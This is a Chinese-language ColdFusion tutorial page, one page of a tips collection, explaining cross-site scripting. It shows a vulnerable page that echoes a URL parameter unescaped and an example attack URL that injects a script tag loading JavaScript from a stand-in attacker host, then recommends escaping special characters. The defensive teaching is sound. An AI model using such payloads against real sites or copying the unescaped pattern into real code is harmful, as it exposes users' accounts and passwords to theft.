Coldfusion MX技巧精华收集之2第3/6页

 更新时间:2007年03月15日 00:00:00   作者:  

保护页面不受跨网站(cross-site)程序攻击
跨网站程序攻击是网站管理人员经常必须面对的安全性问题之一。像是 ASP,CFML 或者 PHP 这类的应用程序服务器,由于它们与生俱来的动态功能特性,使得它们特别容易受到这一类的攻击。很多时候你的程序都会把某些信息从某个页面传送到另一个页面,将资料储存到数据库中,或者将窗体或 URL 参数接收到的变量值显示在页面上。虽然能够在不同页面之间传递资料看起来是一个优点,但是如果你不够小心的话,这项特性也会同时带来严重的安全性问题。举例来说,请看看下面这个超链接以及相对应的目标页面显示的结果: 

<!--- 下面是你某个页面中的超链接 --->
<A HREF="nextpage.cfm?username=Brian">请按这里</A>
<!--- 下面是 nextpage.cfm 所显示的内容 --->
<CFOUTPUT>
欢迎来到下一页,#URL.UserName#。
</CFOUTPUT> 

看起来够简单了吧?上面这个超级链接纯粹把使用者名称从一个页面传递到另一个页面去(nextpage.cfm),如果你不够小心的话,这正是问题可能发生的地方。跨网站程序(cross-site scripting)基本上便是欺骗你的 Web 服务器,让它在未预期的的情况下执行其它网站上面的程序,JavaScript,Java applet 或者 ActiveX 控件。 

如果你观察上面这个例子的目标页面的 URL,它看起来会是下面这样: 

http://www.mysite.com/nextpage.cfm?username=Brian 
某位不怀好意的使用者可以自己输入一个 URL,里面包含一个连向另一部服务器上面的程序的连结,就像下面这样: 

http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js"> 
当 ColdFusion 在下一个页面输出上面的 URL 所传过来的变量的时候,输出结果看起来变成下面这样: 

欢迎来到下一页,<script src="http://www.hackersite.com/nastyscript.js">。 
这个变量会让你那无辜的页面在你未预期的状况下执行对方指定的 JavaScript 程序代码。利用类似的方式,对方也可以在 URL 里面指定恶意的 ActiveX 控件或者 JavaApplet。当然,在这个例子里面,使用者仅是在浏览器上面执行他们自己指定的程序而已,但如果这些恶意程序代码被你自己的程序不小心储存起来并且之后又输出到其它使用者的画面上(例如捣乱者将某些 JavaScript 程序代码输入在你的讨论区发表文章窗体里面,然后你的程序在不知情的状况下把这些程序代码当成发言内容的一部份存入数据库中,那么其它使用者观看到这篇文章的时候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控件便会在其它使用者的浏览器上面执行了),这时候那些程序就可能足以将其它使用者的帐号,密码或者其它敏感资料暗中传送到某个地方去。这项安全性问题并非 ColdFusion 才会发生的状况,任何应用程序服务器,只要它能够接收从 URL 或者窗体传送过来的资料并且显示在使用者画面上,都有可能受到这类攻击。 

幸运的是,要避免这种状况发生并不困难。你要做的工作是过滤来自 URL 或者窗体传送过来的资料,并且将一些特殊的危险字符,例如 < 或者 >(大于和小于符号),把他们替换成相对应的 ASCII 字符码形式(例如将 < 替换成 &lt;)就可以了。事实上 Allaire 公司提供了一个 CF_InputFilter 自订卷标,你可以将它用在你的 application.cfm 档案里面,它可以替你处理相关的特殊字符过滤工作。如果你需要更完整的关于这项议题的资料,请参考「Allaire 安全问题布告栏」网站上面的这篇文章(ASB00-05)。

相关文章

最新评论